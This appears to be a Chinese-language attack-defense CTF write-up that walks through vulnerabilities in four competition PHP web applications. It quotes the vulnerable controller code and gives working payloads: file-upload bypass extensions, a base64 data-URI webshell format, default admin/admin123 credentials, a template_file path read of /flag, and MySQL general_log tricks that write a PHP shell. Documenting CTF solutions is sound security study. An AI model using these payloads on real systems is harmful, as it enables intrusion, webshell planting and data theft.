賽制
給每個參賽隊伍所有題目的gamebox,參賽隊伍在開賽時就能獲取到所有題目的源碼,可以選擇先防御后攻擊或先攻擊后防御,只要拿到gamebox上的flag,機器人就會自動幫你攻擊場上所有未防御選手的gamebox從而獲取到分數。
粵灣基金
漏洞點:
- 前台任意文件上傳
- 后台任意文件上傳
- 后台弱口令
前台任意文件上傳 #1
漏洞文件:/application/home/controller/Test.php
漏洞方法:dlfile()
public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}
函數功能:
使用curl獲取頁面信息,並將其存儲到本地文件中。
此處的file_url以及save_to均可控,所以可以直接getshell或者獲取flag,主辦方甚至貼心的給了利用方法:
前台任意文件上傳 #2
漏洞文件:application/home/controller/Uploadify.php
漏洞方法:preview()
public function preview(){
// 此頁面用來協助 IE6/7 預覽圖片,因為 IE 6/7 不支持 base64
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}
$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}
if(strtolower($type)=='php'){
die('hacked!');
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
}
函數功能:
提取正則中的base64編碼的圖片信息以及圖片后綴,轉存圖片到本地。
漏洞點:
preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}
if(strtolower($type)=='php'){
die('hacked!');
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
這里的type以及base64均為我們可控的,而這里只是簡單的限制了上傳的后綴不能為php,我們可以嘗試上傳php4、php5、phtml、.user.ini、.htaccess來繞過。
后台弱口令
user:admin
pass:admin123
后台任意文件上傳
漏洞文件:application/admin/controller/Uploadify.php
漏洞函數:preview()
public function preview(){
// 此頁面用來協助 IE6/7 預覽圖片,因為 IE 6/7 不支持 base64
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}
$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
}
}
和前台的一樣,base64和type都可以控制,而且這里沒有任何黑名單,可以直接控制后綴為php上傳一個馬。
格式:
data:image/php;base64,baseencode(yijuhua)
粵灣期貨
漏洞點:
- 重裝系統
- 后台任意文件上傳
重裝系統
漏洞文件:install.php
install.php中沒有判斷是否存在鎖文件,導致可以任意重裝。
這里不能用配置文件來getshell,因為用了addslashes函數來轉義了引號,但是這里可以用來重置后台密碼。
后台任意文件上傳
在后台-系統設置中,可以設置允許上傳的后綴,php被過濾了,可以直接用phtml來getshell,也可以用.user.ini來getshell。
粵灣投資
漏洞點:
- 日志泄漏
- 前台任意文件讀取
日志泄漏
漏洞文件:Apps/Runtime/Logs/Home/19_11_20.log
打開進去可以直接看到主辦方直接測試用的payload:
直接用這個payload就能讀到flag。
前台任意文件讀取
漏洞文件:Apps/Home/Controller/JqueryController.class.php
漏洞函數:index()
public function index(){
if(!isset($_GET['template_file'])) {
$this->seoData = array('title' => 'Jquery插件', 'keywords' => 'Jquery插件', 'description' => 'Jquery插件');
$this->display();
}
else{
$this->display($_GET['template_file']);
}
}
}
直接將我們傳遞到template_file代入進display方法中,跟進:
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}
將$templateFile代入了view-display()中,跟進:
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 視圖開始標簽
Hook::listen('view_begin',$templateFile);
// 解析並獲取模板內容
$content = $this->fetch($templateFile,$content,$prefix);
// 輸出模板內容
$this->render($content,$charset,$contentType);
// 視圖結束標簽
Hook::listen('view_end');
}
這里除了$templateFile,其余傳遞參數都為空,這里將templateFile傳遞進了fetch()方法,跟進:
於此處輸出了模板文件:
payload:
index.php/Jquery/?template_file=/flag
粵灣租賃
漏洞點:
- 后台弱口令
- 后台任意SQL語句執行Getshell
后台弱口令
user:admin
pass:admin123
后台任意SQL語句執行Getshell
過濾了INTO OUTFILE不能直接寫shell,使用寫日志的方式進行寫shell。
首先查看日志:
SHOW VARIABLES LIKE 'general%'
再設置日志文件並打開日志記錄:
set global general_log = "ON";
set global general_log_file='/var/www/html/xxx.php';
這里卡了一會,直接寫到一個不存在的文件里會500,所以只能嘗試寫日志進已存在的文件。
獲取flag:
select '<?php system("cat /flag");'
進入日志頁面后全局搜flag即可獲取flag。
還有一個比較簡單的方法:
select load_file("/flag");
當時在比賽的時候沒想到,該payload沒測試過,不知道是否被過濾。